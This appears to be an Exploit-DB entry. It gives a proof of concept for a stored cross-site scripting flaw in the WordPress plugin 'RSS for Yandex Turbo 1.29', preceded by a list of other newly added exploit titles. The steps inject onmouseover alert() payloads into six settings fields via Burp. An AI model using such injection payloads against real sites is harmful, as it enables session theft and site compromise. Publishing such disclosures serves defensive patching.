7fa85628bd
19 changes to exploits/shellcodes Hasura GraphQL 1.3.3 - Denial of Service Tenda D151 & D301 - Configuration Download (Unauthenticated) rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1) Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access) Fast PHP Chat 1.3 - 'my_item_search' SQL Injection WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS) BlackCat CMS 1.3.6 - 'Multiple' Stored Cross-Site Scripting (XSS) Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS) rconfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (2) OpenEMR 5.0.2.1 - Remote Code Execution Adtran Personal Phone Manager 10.8.1 - 'emailAddress' Stored Cross-Site Scripting (XSS) Adtran Personal Phone Manager 10.8.1 - 'Multiple' Reflected Cross-Site Scripting (XSS) Adtran Personal Phone Manager 10.8.1 - DNS Exfiltration GravCMS 1.10.7 - Unauthenticated Arbitrary YAML Write/Update (Metasploit) Hasura GraphQL 1.3.3 - Local File Read Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
20 lines
No EOL
1,015 B
Text
20 lines
No EOL
1,015 B
Text
# Exploit Title: WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS)
|
||
# Date: 17/04/2021
|
||
# Exploit Author: Himamshu Dilip Kulkarni
|
||
# Software Link: https://wordpress.org/plugins/rss-for-yandex-turbo/
|
||
# Version: 1.29
|
||
# Tested on: Windows
|
||
|
||
#Steps to reproduce vulnerability:
|
||
|
||
1. Install WordPress 5.6
|
||
2. Install and activate "RSS for Yandex Turbo" plugin.
|
||
3. Navigate to Setting >> Яндекс.Турбо >> Счетчики and enter the data into all the six user input field and submit the request.
|
||
4. Capture the request into burp suite and append the following mentioned JavaScript payloads (one payload per parameter)
|
||
"+onmouseover="alert(1)
|
||
"+onmouseover="alert(2)
|
||
"+onmouseover="alert(3)
|
||
"+onmouseover="alert(4)
|
||
"+onmouseover="alert(5)
|
||
"+onmouseover="alert(6)
|
||
5. You will observe that the payloads got successfully stored into the database and when you move the mouse cursor over these fields the JavaScript payloads get executed successfully and we get a pop-up. |